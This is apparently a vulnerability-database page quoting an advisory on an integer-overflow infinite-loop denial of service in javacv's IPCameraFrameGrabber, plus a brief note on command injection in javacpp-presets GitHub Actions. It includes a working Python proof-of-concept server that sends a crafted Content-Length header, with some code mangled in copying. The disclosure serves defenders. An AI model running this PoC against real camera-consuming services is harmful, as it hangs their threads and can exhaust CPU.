See how bytedeco compares to other vendors in security performance
Summary IPCameraFrameGrabber parses the Content-Length value from the multipart MJPEG HTTP stream returned by the configured IP camera without any bounds checking. A malicious or compromised camera endpoint - or any network attacker able to tamper with the plaintext HTTP response (these streams are conventionally accessed over http://, as documented in the class itself) - can supply a Content-Length value in the range 1073741825-2147483647. This drives the internal buffer-growth routine ensureBufferCapacity(int) into 32-bit signed integer overflow, which turns the "grow the buffer" loop into a true infinite loop: the loop variable oscillates to 0 and never again satisfies the loop's exit condition. The thread that called grab()/grabBufferedImage() spins at 100% CPU forever and never returns, permanently hanging the calling application's frame-grabbing thread with no exception, timeout, or interrupt path available to the caller.
Details File: src/main/java/org/bytedeco/javacv/IPCameraFrameGrabber.java
java private byte[] readImage() throws IOException { ... int c0 = subheader.indexOf("content-length: "); final int c1 = subheader.indexOf('\r', c0); if (c0 < 0) { throw new EOFException("The camera stream ended unexpectedly"); } c0 += 16; final int contentLength = Integer.parseInt(subheader.substring(c0, c1).trim()); // <-- fully attacker-controlled // adaptive size - careful - don't want a 2G jpeg ensureBufferCapacity(contentLength); // <-- no upper bound enforced input.readFully(pixelBuffer, 0, contentLength); ... }
private void ensureBufferCapacity(int desiredCapacity) { int capacity = pixelBuffer.length; // starts at 1024 while (capacity < desiredCapacity) { capacity = 2; // <-- unchecked int multiplication } if (capacity > pixelBuffer.length) { pixelBuffer = new byte[capacity]; } }
contentLength is taken verbatim from the HTTP response headers of the camera stream and passed directly into ensureBufferCapacity with no upper-bound validation (the comment "adaptive size - careful - don't want a 2G jpeg" shows the author was aware of the risk but never implemented a check).
ensureBufferCapacity repeatedly doubles capacity (a 32-bit int, starting at pixelBuffer.length == 1024) until it is >= desiredCapacity. If desiredCapacity is greater than 2^30 (1073741824) but <= Integer.MAXVALUE (2147483647):
1. capacity reaches 2^30 (1073741824) after 20 doublings; the loop condition capacity < desiredCapacity is still true. 2. capacity = 2 computes 2^31, which overflows a signed 32-bit int and wraps to Integer.MINVALUE (-2147483648). 3. The loop condition capacity < desiredCapacity (a negative number compared to a large positive desiredCapacity) is still true, so the loop continues. 4. capacity = 2 computes Integer.MINVALUE 2, which in two's-complement 32-bit arithmetic wraps to 0. 5. From this point on, capacity is permanently 0 (0 2 == 0), and 0 < desiredCapacity remains true forever - the while loop never terminates.
This is a pure CPU-bound loop with no I/O, no blocking call, and no InterruptedException check, so it cannot be interrupted via Thread.interrupt() and will not respect any readTimeout/connectionTimeout configured on the grabber (those only apply to the socket read that happens before this code path). The only remedy is killing the JVM/thread from outside.
PoC A minimal malicious/MITM'd MJPEG server that reproduces the hang:
python import socket
srv = socket.socket(socket.AFINET, socket.SOCKSTREAM) srv.setsockopt(socket.SOLSOCKET, socket.SOREUSEADDR, 1) srv.bind(("0.0.0.0", 8080)) srv.listen(1) print("listening on :8080") conn, = srv.accept() conn.recv(4096) # swallow the client's request
Any value in (1073741824, 2147483647] triggers the overflow. maliciouslength = 2000000000 header = ( "--myboundary\r\n" "Content-Type: image/jpeg\r\n" "Content-Length: %d\r\n\r\n" % maliciouslength ) conn.sendall(header.encode()) The client will now spin forever inside ensureBufferCapacity() before ever attempting to read the (fake) body.
Java client (representative of any application embedding javacv to view an "IP camera" URL):
java import org.bytedeco.javacv.IPCameraFrameGrabber; import java.util.concurrent.TimeUnit;
public class Poc { public static void main(String[] args) throws Exception { IPCameraFrameGrabber grabber = new IPCameraFrameGrabber( "http://127.0.0.1:8080/videostream.cgi", 5, 5, TimeUnit.SECONDS); grabber.start(); grabber.grab(); // never returns; thread pegs a CPU core at 100% forever } }
Running the client against the malicious server above causes grab() to hang permanently, consuming a full CPU core, regardless of the startTimeout/grabTimeout passed to the constructor.
Impact Any application that uses IPCameraFrameGrabber to consume a camera/MJPEG stream from a source that is not fully trusted - including the common case of plain http:// streams (as shown in the class's own documented examples: http://host/videostream.cgi?...) that can be tampered with by a network-position attacker - can be forced into a permanent, unrecoverable CPU-spinning hang of the grabbing thread by a single crafted response header. No authentication, JPEG payload, or actual data transfer is required; the malicious header alone is sufficient. Repeated exploitation against a server that spawns a grabber thread per client/camera (a common pattern for video-surveillance/monitoring backends) can exhaust available threads/CPU, resulting in a broader denial of service.
JavaCPP Presets is a project providing Java distributions of native C++ libraries. All the actions in the bytedeco/javacpp-presets use the github.event.headcommit.message? parameter in an insecure way. For example, the commit message is used in a run statement - resulting in a command injection vulnerability due to string interpolation. No exploitation has been reported. This issue has been addressed in version 1.5.9. Users of JavaCPP Presets are advised to upgrade as a precaution.